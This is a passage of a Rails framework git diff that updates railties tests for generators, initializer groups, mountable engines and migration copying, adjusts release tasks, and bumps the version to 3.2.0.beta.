assert_file "app/assets/javascripts/product_lines.js" + assert_file "app/assets/stylesheets/product_lines.css" end def test_scaffold_on_revoke @@ -113,9 +113,9 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase assert_no_file "test/unit/helpers/product_lines_helper_test.rb" # Assets - assert_file "app/assets/stylesheets/scaffold.css.scss", /&:visited/ - assert_no_file "app/assets/javascripts/product_lines.js.coffee" - assert_no_file "app/assets/stylesheets/product_lines.css.scss" + assert_file "app/assets/stylesheets/scaffold.css", /:visited/ + assert_no_file "app/assets/javascripts/product_lines.js" + assert_no_file "app/assets/stylesheets/product_lines.css" end def test_scaffold_with_namespace_on_invoke @@ -189,9 +189,9 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase assert_file "test/unit/helpers/admin/roles_helper_test.rb" # Assets - assert_file "app/assets/stylesheets/scaffold.css.scss", /&:visited/ - assert_file "app/assets/javascripts/admin/roles.js.coffee" - assert_file "app/assets/stylesheets/admin/roles.css.scss" + assert_file "app/assets/stylesheets/scaffold.css", /:visited/ + assert_file "app/assets/javascripts/admin/roles.js" + assert_file "app/assets/stylesheets/admin/roles.css" end def test_scaffold_with_namespace_on_revoke @@ -223,9 +223,9 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase assert_no_file "test/unit/helpers/admin/roles_helper_test.rb" # Assets - assert_file "app/assets/stylesheets/scaffold.css.scss" - assert_no_file "app/assets/javascripts/admin/roles.js.coffee" - assert_no_file "app/assets/stylesheets/admin/roles.css.scss" + assert_file "app/assets/stylesheets/scaffold.css" + assert_no_file "app/assets/javascripts/admin/roles.js" + assert_no_file "app/assets/stylesheets/admin/roles.css" end def test_scaffold_generator_on_revoke_does_not_mutilate_legacy_map_parameter @@ -245,35 +245,34 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase def test_scaffold_generator_no_assets run_generator [ "posts", "--no-assets" ] - assert_file "app/assets/stylesheets/scaffold.css.scss" - assert_no_file "app/assets/javascripts/posts.js.coffee" - assert_no_file "app/assets/stylesheets/posts.css.scss" + assert_file "app/assets/stylesheets/scaffold.css" + assert_no_file "app/assets/javascripts/posts.js" + assert_no_file "app/assets/stylesheets/posts.css" end def test_scaffold_generator_no_stylesheets run_generator [ "posts", "--no-stylesheets" ] - assert_no_file "app/assets/stylesheets/scaffold.css.scss" - assert_file "app/assets/javascripts/posts.js.coffee" - assert_no_file "app/assets/stylesheets/posts.css.scss" + assert_no_file "app/assets/stylesheets/scaffold.css" + assert_file "app/assets/javascripts/posts.js" + assert_no_file "app/assets/stylesheets/posts.css" end def test_scaffold_generator_no_javascripts run_generator [ "posts", "--no-javascripts" ] - assert_file "app/assets/stylesheets/scaffold.css.scss" - assert_no_file "app/assets/javascripts/posts.js.coffee" - assert_file "app/assets/stylesheets/posts.css.scss" - end - - def test_scaffold_generator_no_negines - run_generator [ "posts", "--no-javascript-engine", "--no-stylesheet-engine" ] assert_file "app/assets/stylesheets/scaffold.css" - assert_file "app/assets/javascripts/posts.js" + assert_no_file "app/assets/javascripts/posts.js" assert_file "app/assets/stylesheets/posts.css" end def test_scaffold_generator_outputs_error_message_on_missing_attribute_type - content = capture(:stderr) { run_generator ["post", "title:string", "body"]} - assert_match(/Missing type for attribute 'body'/, content) - assert_match(/Example: 'body:string' where string is the type/, content) + run_generator ["post", "title", "body:text", "author"] + + assert_migration "db/migrate/create_posts.rb" do |m| + assert_method :change, m do |up| + assert_match(/t\.string :title/, up) + assert_match(/t\.text :body/, up) + assert_match(/t\.string :author/, up) + end + end end end diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb index be9aef8a41..1534f0d828 100644 --- a/railties/test/generators/shared_generator_tests.rb +++ b/railties/test/generators/shared_generator_tests.rb @@ -67,12 +67,12 @@ module SharedGeneratorTests end def test_shebang_is_added_to_rails_file - run_generator [destination_root, "--ruby", "foo/bar/baz"] + run_generator [destination_root, "--ruby", "foo/bar/baz", "--full"] assert_file "script/rails", /#!foo\/bar\/baz/ end def test_shebang_when_is_the_same_as_default_use_env - run_generator [destination_root, "--ruby", Thor::Util.ruby_command] + run_generator [destination_root, "--ruby", Thor::Util.ruby_command, "--full"] assert_file "script/rails", /#!\/usr\/bin\/env/ end @@ -191,11 +191,11 @@ module SharedCustomGeneratorTests end def test_builder_option_with_http - path = "http://gist.github.com/103208.txt" + url = "http://gist.github.com/103208.txt" template = "class #{builder_class}; end" template.instance_eval "def read; self; end" # Make the string respond to read - generator([destination_root], :builder => path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template) + generator([destination_root], :builder => url).expects(:open).with(url, 'Accept' => 'application/x-thor-template').returns(template) quietly { generator.invoke_all } default_files.each{ |path| assert_no_file(path) } diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb index 1264ac7764..5f9ee220dc 100644 --- a/railties/test/generators_test.rb +++ b/railties/test/generators_test.rb @@ -88,12 +88,6 @@ class GeneratorsTest < Rails::Generators::TestCase assert Rails::Generators.find_by_namespace(:model) end - def test_find_by_namespace_show_warning_if_generator_cant_be_loaded - output = capture(:stderr) { Rails::Generators.find_by_namespace(:wrong) } - assert_match(/\[WARNING\] Could not load generator/, output) - assert_match(/Rails 2\.x generator/, output) - end - def test_invoke_with_nested_namespaces model_generator = mock('ModelGenerator') do expects(:start).with(["Account"], {}) @@ -185,13 +179,6 @@ class GeneratorsTest < Rails::Generators::TestCase Rails::Generators.subclasses.delete(WithOptionsGenerator) end - def test_load_generators_from_railties - Rails::Generators::ModelGenerator.expects(:start).with(["Account"], {}) - Rails::Generators.send(:remove_instance_variable, :@generators_from_railties) - Rails.application.expects(:load_generators) - Rails::Generators.invoke("model", ["Account"]) - end - def test_rails_root_templates template = File.join(Rails.root, "lib", "templates", "active_record", "model", "model.rb") @@ -214,4 +201,10 @@ class GeneratorsTest < Rails::Generators::TestCase mspec = Rails::Generators.find_by_namespace :fixjour assert mspec.source_paths.include?(File.join(Rails.root, "lib", "templates", "fixjour")) end + + def test_usage_with_embedded_ruby + require File.expand_path("fixtures/lib/generators/usage_template/usage_template_generator", File.dirname(__FILE__)) + output = capture(:stdout) { Rails::Generators.invoke :usage_template, ['--help'] } + assert_match /:: 2 ::/, output + end end diff --git a/railties/test/initializable_test.rb b/railties/test/initializable_test.rb index 72c35879c5..c84c7f204c 100644 --- a/railties/test/initializable_test.rb +++ b/railties/test/initializable_test.rb @@ -61,7 +61,7 @@ module InitializableTests class Instance include Rails::Initializable - initializer :one do + initializer :one, :group => :assets do $arr << 1 end @@ -69,7 +69,7 @@ module InitializableTests $arr << 2 end - initializer :three do + initializer :three, :group => :all do $arr << 3 end @@ -209,14 +209,21 @@ module InitializableTests $arr = [] instance = Instance.new instance.run_initializers - assert_equal [1, 2, 3, 4], $arr + assert_equal [2, 3, 4], $arr + end + + test "running locals with groups" do + $arr = [] + instance = Instance.new + instance.run_initializers(:assets) + assert_equal [1, 3], $arr end end class WithArgsTest < ActiveSupport::TestCase test "running initializers with args" do $with_arg = nil - WithArgs.new.run_initializers('foo') + WithArgs.new.run_initializers(:default, 'foo') assert_equal 'foo', $with_arg end end diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb index f2261540ca..06b658e7bd 100644 --- a/railties/test/isolation/abstract_unit.rb +++ b/railties/test/isolation/abstract_unit.rb @@ -8,9 +8,8 @@ # Rails booted up. require 'fileutils' -# TODO: Remove rubygems when possible -require 'rubygems' require 'test/unit' +require 'rubygems' # TODO: Remove setting this magic constant RAILS_FRAMEWORK_ROOT = File.expand_path("#{File.dirname(__FILE__)}/../../..") @@ -92,6 +91,9 @@ module TestHelpers module Generation # Build an application by invoking the generator and going through the whole stack. def build_app(options = {}) + @prev_rails_env = ENV['RAILS_ENV'] + ENV['RAILS_ENV'] = 'development' + FileUtils.rm_rf(app_path) FileUtils.cp_r(tmp_path('app_template'), app_path) @@ -116,6 +118,10 @@ module TestHelpers add_to_config 'config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"; config.session_store :cookie_store, :key => "_myapp_session"; config.active_support.deprecation = :log' end + def teardown_app + ENV['RAILS_ENV'] = @prev_rails_env if @prev_rails_env + end + # Make a very basic app, without creating the whole directory structure. # This is faster and simpler than the method above. def make_basic_app @@ -218,6 +224,15 @@ module TestHelpers end end + def add_to_env_config(env, str) + environment = File.read("#{app_path}/config/environments/#{env}.rb") + if environment =~ /(\n\s*end\s*)\Z/ + File.open("#{app_path}/config/environments/#{env}.rb", 'w') do |f| + f.puts $` + "\n#{str}\n" + $1 + end + end + end + def remove_from_config(str) file = "#{app_path}/config/application.rb" contents = File.read(file) @@ -232,6 +247,10 @@ module TestHelpers end end + def remove_file(path) + FileUtils.rm_rf "#{app_path}/#{path}" + end + def controller(name, contents) app_file("app/controllers/#{name}_controller.rb", contents) end @@ -272,7 +291,7 @@ Module.new do require_environment = "-r #{environment}" end - `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/bin/rails new #{tmp_path('app_template')}` + `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails new #{tmp_path('app_template')}` File.open("#{tmp_path}/app_template/config/boot.rb", 'w') do |f| if require_environment f.puts "Dir.chdir('#{File.dirname(environment)}') do" @@ -281,4 +300,4 @@ Module.new do end f.puts "require 'rails/all'" end -end +end unless defined?(RAILS_ISOLATED_ENGINE) diff --git a/railties/test/paths_test.rb b/railties/test/paths_test.rb index 6e4e3446b3..c0f3887263 100644 --- a/railties/test/paths_test.rb +++ b/railties/test/paths_test.rb @@ -227,57 +227,4 @@ class PathsTest < ActiveSupport::TestCase assert @root["app"].autoload? assert_equal ["/app"], @root.autoload_paths end - - # Deprecated API tests - - test "reading a root level path with assignment" do - @root.add "app" - assert_deprecated do - assert_equal ["/foo/bar/app"], @root.app.to_a - end - end - - test "creating a root level path with assignment" do - assert_deprecated do - @root.app = "/foo/bar" - end - assert_equal ["/foo/bar"], @root["app"].to_a - end - - test "creating a root level path without assignment" do - assert_deprecated do - @root.app "/foo/bar" - end - assert_equal ["/foo/bar"], @root["app"].to_a - end - - test "reading a nested level path with assignment" do - @root.add "app" - @root.add "app/model" - assert_deprecated do - assert_equal ["/foo/bar/app/model"], @root.app.model.to_a - end - end - - test "creating a nested level path with assignment" do - @root.add "app" - assert_deprecated do - @root.app.model = "/foo/bar" - end - assert_equal ["/foo/bar"], @root["app/model"].to_a - end - - test "creating a nested level path without assignment" do - @root.add "app" - assert_deprecated do - @root.app.model "/foo/bar" - end - assert_equal ["/foo/bar"], @root["app/model"].to_a - end - - test "trying to access a path that does not exist raises NoMethodError" do - assert_deprecated do - assert_raises(NoMethodError) { @root.app } - end - end end diff --git a/railties/test/rails_info_controller_test.rb b/railties/test/rails_info_controller_test.rb index 9d194f41a6..8a9363fb80 100644 --- a/railties/test/rails_info_controller_test.rb +++ b/railties/test/rails_info_controller_test.rb @@ -1,5 +1,4 @@ require 'abstract_unit' -require 'action_controller' module ActionController class Base diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb index b5b21f9ebe..22dbcf9644 100644 --- a/railties/test/railties/engine_test.rb +++ b/railties/test/railties/engine_test.rb @@ -15,7 +15,7 @@ module RailtiesTest @plugin = engine "bukkits" do |plugin| plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine railtie_name "bukkits" end @@ -25,6 +25,10 @@ module RailtiesTest end end + def teardown + teardown_app + end + test "Rails::Engine itself does not respond to config" do boot_rails assert !Rails::Engine.respond_to?(:config) @@ -32,7 +36,7 @@ module RailtiesTest test "initializers are executed after application configuration initializers" do @plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine initializer "dummy_initializer" do end @@ -73,7 +77,7 @@ module RailtiesTest add_to_config("config.action_dispatch.show_exceptions = false") @plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine endpoint lambda { |env| [200, {'Content-Type' => 'text/html'}, ['Hello World']] } config.middleware.use ::RailtiesTest::EngineTest::Upcaser @@ -123,7 +127,7 @@ module RailtiesTest test "it provides routes as default endpoint" do @plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine end end @@ -149,7 +153,7 @@ module RailtiesTest test "engine can load its own plugins" do @plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine end end @@ -166,7 +170,7 @@ module RailtiesTest test "engine does not load plugins that already exists in application" do @plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine end end @@ -189,7 +193,7 @@ module RailtiesTest test "it loads its environment file" do @plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine end end @@ -208,7 +212,7 @@ module RailtiesTest test "it passes router in env" do @plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine endpoint lambda { |env| [200, {'Content-Type' => 'text/html'}, 'hello'] } end @@ -396,7 +400,7 @@ module RailtiesTest boot_rails get("/bukkits/posts/new") - assert_match /name="post\[title\]"/, last_response.body + assert_match(/name="post\[title\]"/, last_response.body) end test "isolated engine should set correct route module prefix for nested namespace" do @@ -451,12 +455,18 @@ module RailtiesTest Rails.application.load_seed assert Rails.application.config.app_seeds_loaded - assert_raise(NoMethodError) do Bukkits::Engine.config.bukkits_seeds_loaded end + assert_raise(NoMethodError) { Bukkits::Engine.config.bukkits_seeds_loaded } Bukkits::Engine.load_seed assert Bukkits::Engine.config.bukkits_seeds_loaded end + test "skips nonexistent seed data" do + FileUtils.rm "#{app_path}/db/seeds.rb" + boot_rails + assert_nil Rails.application.load_seed + end + test "using namespace more than once on one module should not overwrite _railtie method" do @plugin.write "lib/bukkits.rb", <<-RUBY module AppTemplate diff --git a/railties/test/railties/generators_test.rb b/railties/test/railties/generators_test.rb new file mode 100644 index 0000000000..f8540d69d9 --- /dev/null +++ b/railties/test/railties/generators_test.rb @@ -0,0 +1,116 @@ +RAILS_ISOLATED_ENGINE = true +require "isolation/abstract_unit" + +require 'generators/generators_test_helper' +require "rails/generators/test_case" + +module RailtiesTests + class GeneratorTest < Rails::Generators::TestCase + include ActiveSupport::Testing::Isolation + + TMP_PATH = File.expand_path(File.join(File.dirname(__FILE__), *%w[.. .. tmp])) + self.destination_root = File.join(TMP_PATH, "foo_bar") + + def tmp_path(*args) + File.join(TMP_PATH, *args) + end + + def engine_path + tmp_path('foo_bar') + end + + def bundled_rails(cmd) + `bundle exec rails #{cmd}` + end + + def rails(cmd) + environment = File.expand_path('../../../../load_paths', __FILE__) + if File.exist?("#{environment}.rb") + require_environment = "-r #{environment}" + end + `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails #{cmd}` + end + + def build_engine(is_mountable=false) + FileUtils.rm_rf(engine_path) + FileUtils.mkdir_p(engine_path) + + mountable = is_mountable ? "--mountable" : "" + + rails("plugin new #{engine_path} --full #{mountable}") + + Dir.chdir(engine_path) do + File.open("Gemfile", "w") do |f| + f.write <<-GEMFILE.gsub(/^ {12}/, '') + source "http://rubygems.org" + + gem 'rails', :path => '#{RAILS_FRAMEWORK_ROOT}' + gem 'sqlite3' + + if RUBY_VERSION < '1.9' + gem "ruby-debug", ">= 0.10.3" + end + GEMFILE + end + end + end + + def build_mountable_engine + build_engine(true) + end + + def test_controllers_are_correctly_namespaced_when_engine_is_mountable + build_mountable_engine + Dir.chdir(engine_path) do + bundled_rails("g controller topics") + assert_file "app/controllers/foo_bar/topics_controller.rb", /module FooBar\n class TopicsController/ + assert_no_file "app/controllers/topics_controller.rb" + end + end + + def test_models_are_correctly_namespaced_when_engine_is_mountable + build_mountable_engine + Dir.chdir(engine_path) do + bundled_rails("g model topic") + assert_file "app/models/foo_bar/topic.rb", /module FooBar\n class Topic/ + assert_no_file "app/models/topic.rb" + end + end + + def test_helpers_are_correctly_namespaced_when_engine_is_mountable + build_mountable_engine + Dir.chdir(engine_path) do + bundled_rails("g helper topics") + assert_file "app/helpers/foo_bar/topics_helper.rb", /module FooBar\n module TopicsHelper/ + assert_no_file "app/helpers/topics_helper.rb" + end + end + + def test_controllers_are_not_namespaced_when_engine_is_not_mountable + build_engine + Dir.chdir(engine_path) do + bundled_rails("g controller topics") + assert_file "app/controllers/topics_controller.rb", /class TopicsController/ + assert_no_file "app/controllers/foo_bar/topics_controller.rb" + end + end + + def test_models_are_not_namespaced_when_engine_is_not_mountable + build_engine + Dir.chdir(engine_path) do + bundled_rails("g model topic") + assert_file "app/models/topic.rb", /class Topic/ + assert_no_file "app/models/foo_bar/topic.rb" + end + end + + def test_helpers_are_not_namespaced_when_engine_is_not_mountable + build_engine + Dir.chdir(engine_path) do + bundled_rails("g helper topics") + assert_file "app/helpers/topics_helper.rb", /module TopicsHelper/ + assert_no_file "app/helpers/foo_bar/topics_helper.rb" + end + end + end +end diff --git a/railties/test/railties/mounted_engine_test.rb b/railties/test/railties/mounted_engine_test.rb index 47a4753e78..0491fc2174 100644 --- a/railties/test/railties/mounted_engine_test.rb +++ b/railties/test/railties/mounted_engine_test.rb @@ -11,14 +11,20 @@ module ApplicationTests add_to_config("config.action_dispatch.show_exceptions = false") + @simple_plugin = engine "weblog" @plugin = engine "blog" app_file 'config/routes.rb', <<-RUBY AppTemplate::Application.routes.draw do + mount Weblog::Engine, :at => '/', :as => 'weblog' + resources :posts match "/engine_route" => "application_generating#engine_route" match "/engine_route_in_view" => "application_generating#engine_route_in_view" + match "/weblog_engine_route" => "application_generating#weblog_engine_route" + match "/weblog_engine_route_in_view" => "application_generating#weblog_engine_route_in_view" match "/url_for_engine_route" => "application_generating#url_for_engine_route" match "/polymorphic_route" => "application_generating#polymorphic_route" + match "/application_polymorphic_path" => "application_generating#application_polymorphic_path" scope "/:user", :user => "anonymous" do mount Blog::Engine => "/blog" end @@ -26,6 +32,29 @@ module ApplicationTests end RUBY + + @simple_plugin.write "lib/weblog.rb", <<-RUBY + module Weblog + class Engine < ::Rails::Engine + end + end + RUBY + + @simple_plugin.write "config/routes.rb", <<-RUBY + Weblog::Engine.routes.draw do + match '/weblog' => "weblogs#index", :as => 'weblogs' + end + RUBY + + @simple_plugin.write "app/controllers/weblogs_controller.rb", <<-RUBY + class WeblogsController < ActionController::Base + def index + render :text => request.url + end + end + RUBY + + @plugin.write "app/models/blog/post.rb", <<-RUBY module Blog class Post @@ -59,6 +88,7 @@ module ApplicationTests resources :posts match '/generate_application_route', :to => 'posts#generate_application_route' match '/application_route_in_view', :to => 'posts#application_route_in_view' + match '/engine_polymorphic_path', :to => 'posts#engine_polymorphic_path' end RUBY @@ -79,6 +109,10 @@ module ApplicationTests def application_route_in_view render :inline => "<%= main_app.root_path %>" end + + def engine_polymorphic_path + render :text => polymorphic_path(Post.new) + end end end RUBY @@ -93,6 +127,14 @@ module ApplicationTests render :inline => "<%= blog.posts_path %>" end + def weblog_engine_route + render :text => weblog.weblogs_path + end + + def weblog_engine_route_in_view + render :inline => "<%= weblog.weblogs_path %>" + end + def url_for_engine_route render :text => blog.url_for(:controller => "blog/posts", :action => "index", :user => "john", :only_path => true) end @@ -100,12 +142,20 @@ module ApplicationTests def polymorphic_route render :text => polymorphic_url([blog, Blog::Post.new]) end + + def application_polymorphic_path + render :text => polymorphic_path(Blog::Post.new) + end end RUBY boot_rails end + def teardown + teardown_app + end + def app @app ||= begin require "#{app_path}/config/environment" @@ -116,7 +166,7 @@ module ApplicationTests def reset_script_name! Rails.application.routes.default_url_options = {} end - + def script_name(script_name) Rails.application.routes.default_url_options = {:script_name => script_name} end @@ -168,7 +218,22 @@ module ApplicationTests # test polymorphic routes get "/polymorphic_route" assert_equal "http://example.org/anonymous/blog/posts/44", last_response.body + + # test that correct path is generated for the same polymorphic_path call in an engine + get "/somone/blog/engine_polymorphic_path" + assert_equal "/somone/blog/posts/44", last_response.body + + # and in an application + get "/application_polymorphic_path" + assert_equal "/posts/44", last_response.body + end + + test "route path for controller action when engine is mounted at root" do + get "/weblog_engine_route" + assert_equal "/weblog", last_response.body + + get "/weblog_engine_route_in_view" + assert_equal "/weblog", last_response.body end end end - diff --git a/railties/test/railties/plugin_ordering_test.rb b/railties/test/railties/plugin_ordering_test.rb index f6ca493fdf..1cfaf557e9 100644 --- a/railties/test/railties/plugin_ordering_test.rb +++ b/railties/test/railties/plugin_ordering_test.rb @@ -12,6 +12,10 @@ module RailtiesTest plugin "c_plugin", "$arr << :c" end + def teardown + teardown_app + end + def boot_rails super require "#{app_path}/config/environment" @@ -69,4 +73,4 @@ module RailtiesTest assert $bar end end -end
\ No newline at end of file +end diff --git a/railties/test/railties/plugin_test.rb b/railties/test/railties/plugin_test.rb index c15ac05103..f307d53cf7 100644 --- a/railties/test/railties/plugin_test.rb +++ b/railties/test/railties/plugin_test.rb @@ -15,6 +15,10 @@ module RailtiesTest end end + def teardown + teardown_app + end + test "Rails::Plugin itself does not respond to config" do boot_rails assert !Rails::Plugin.respond_to?(:config) diff --git a/railties/test/railties/railtie_test.rb b/railties/test/railties/railtie_test.rb index 7ea8364ae9..55f85c7202 100644 --- a/railties/test/railties/railtie_test.rb +++ b/railties/test/railties/railtie_test.rb @@ -11,6 +11,10 @@ module RailtiesTest require "rails/all" end + def teardown + teardown_app + end + def app @app ||= Rails.application end @@ -97,7 +101,7 @@ module RailtiesTest assert !$ran_block require 'rake' require 'rake/testtask' - require 'rake/rdoctask' + require 'rdoc/task' AppTemplate::Application.load_tasks assert $ran_block @@ -121,7 +125,7 @@ module RailtiesTest assert_equal [], $ran_block require 'rake' require 'rake/testtask' - require 'rake/rdoctask' + require 'rdoc/task' AppTemplate::Application.load_tasks assert $ran_block.include?("my_tie") diff --git a/railties/test/railties/shared_tests.rb b/railties/test/railties/shared_tests.rb index e5debf29ae..7653e52d26 100644 --- a/railties/test/railties/shared_tests.rb +++ b/railties/test/railties/shared_tests.rb @@ -21,6 +21,23 @@ module RailtiesTest assert_match "alert()", last_response.body end + def test_rake_environment_can_be_called_in_the_engine_or_plugin + boot_rails + + @plugin.write "Rakefile", <<-RUBY + APP_RAKEFILE = '#{app_path}/Rakefile' + load 'rails/tasks/engine.rake' + task :foo => :environment do + puts "Task ran" + end + RUBY + + Dir.chdir(@plugin.path) do + output = `bundle exec rake foo` + assert_match "Task ran", output + end + end + def test_copying_migrations @plugin.write "db/migrate/1_create_users.rb", <<-RUBY class CreateUsers < ActiveRecord::Migration @@ -53,30 +70,46 @@ module RailtiesTest add_to_config "ActiveRecord::Base.timestamped_migrations = false" + boot_rails + railties = Rails.application.railties.all.map(&:railtie_name) + Dir.chdir(app_path) do - output = `rake bukkits:install:migrations` + output = `bundle exec rake bukkits:install:migrations` assert File.exists?("#{app_path}/db/migrate/2_create_users.rb") assert File.exists?("#{app_path}/db/migrate/3_add_last_name_to_users.rb") - assert_match /Copied migration 2_create_users.rb from bukkits/, output - assert_match /Copied migration 3_add_last_name_to_users.rb from bukkits/, output - assert_match /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output + assert_match(/Copied migration 2_create_users.rb from bukkits/, output) + assert_match(/Copied migration 3_add_last_name_to_users.rb from bukkits/, output) + assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output) assert_equal 3, Dir["#{app_path}/db/migrate/*.rb"].length - output = `rake railties:install:migrations` + output = `bundle exec rake railties:install:migrations`.split("\n") assert File.exists?("#{app_path}/db/migrate/4_create_yaffles.rb") - assert_match /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output - assert_match /Copied migration 4_create_yaffles.rb from acts_as_yaffle/, output - assert_no_match /2_create_users/, output + assert_no_match(/2_create_users/, output.join("\n")) + + yaffle_migration_order = output.index(output.detect{|o| /Copied migration 4_create_yaffles.rb from acts_as_yaffle/ =~ o }) + bukkits_migration_order = output.index(output.detect{|o| /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/ =~ o }) + assert_not_nil yaffle_migration_order, "Expected migration to be copied" + assert_not_nil bukkits_migration_order, "Expected migration to be skipped" + assert_equal(railties.index('acts_as_yaffle') > railties.index('bukkits'), yaffle_migration_order > bukkits_migration_order) migrations_count = Dir["#{app_path}/db/migrate/*.rb"].length - output = `rake railties:install:migrations` + output = `bundle exec rake railties:install:migrations` assert_equal migrations_count, Dir["#{app_path}/db/migrate/*.rb"].length end end + def test_no_rake_task_without_migrations + boot_rails + require 'rake' + require 'rdoc/task' + require 'rake/testtask' + Rails.application.load_tasks + assert !Rake::Task.task_defined?('bukkits:install:migrations') + end + def test_puts_its_lib_directory_on_load_path boot_rails require "another" @@ -237,7 +270,7 @@ module RailtiesTest boot_rails require 'rake' - require 'rake/rdoctask' + require 'rdoc/task' require 'rake/testtask' Rails.application.load_tasks Rake::Task[:foo].invoke diff --git a/tasks/release.rb b/tasks/release.rb index 01950b227d..2422efa786 100644 --- a/tasks/release.rb +++ b/tasks/release.rb @@ -4,11 +4,11 @@ root = File.expand_path('../../', __FILE__) version = File.read("#{root}/RAILS_VERSION").strip tag = "v#{version}" -directory "dist" +directory "pkg" (FRAMEWORKS + ['rails']).each do |framework| namespace framework do - gem = "dist/#{framework}-#{version}.gem" + gem = "pkg/#{framework}-#{version}.gem" gemspec = "#{framework}.gemspec" task :clean do @@ -41,10 +41,10 @@ directory "dist" File.open(file, 'w') { |f| f.write ruby } end - task gem => %w(update_version_rb dist) do + task gem => %w(update_version_rb pkg) do cmd = "" cmd << "cd #{framework} && " unless framework == "rails" - cmd << "gem build #{gemspec} && mv #{framework}-#{version}.gem #{root}/dist/" + cmd << "gem build #{gemspec} && mv #{framework}-#{version}.gem #{root}/pkg/" sh cmd end @@ -104,14 +104,14 @@ namespace :all do end task :commit do - File.open('dist/commit_message.txt', 'w') do |f| + File.open('pkg/commit_message.txt', 'w') do |f| f.puts "# Preparing for #{version} release\n" f.puts f.puts "# UNCOMMENT THE LINE ABOVE TO APPROVE THIS COMMIT" end - sh "git add . && git commit --verbose --template=dist/commit_message.txt" - rm_f "dist/commit_message.txt" + sh "git add . && git commit --verbose --template=pkg/commit_message.txt" + rm_f "pkg/commit_message.txt" end task :tag do diff --git a/version.rb b/version.rb index fc6c0a0204..254227ecf7 100644 --- a/version.rb +++ b/version.rb @@ -1,9 +1,9 @@ module Rails module VERSION #:nodoc: MAJOR = 3 - MINOR = 1 + MINOR = 2 TINY = 0 - PRE = "beta1" + PRE = "beta" STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end |
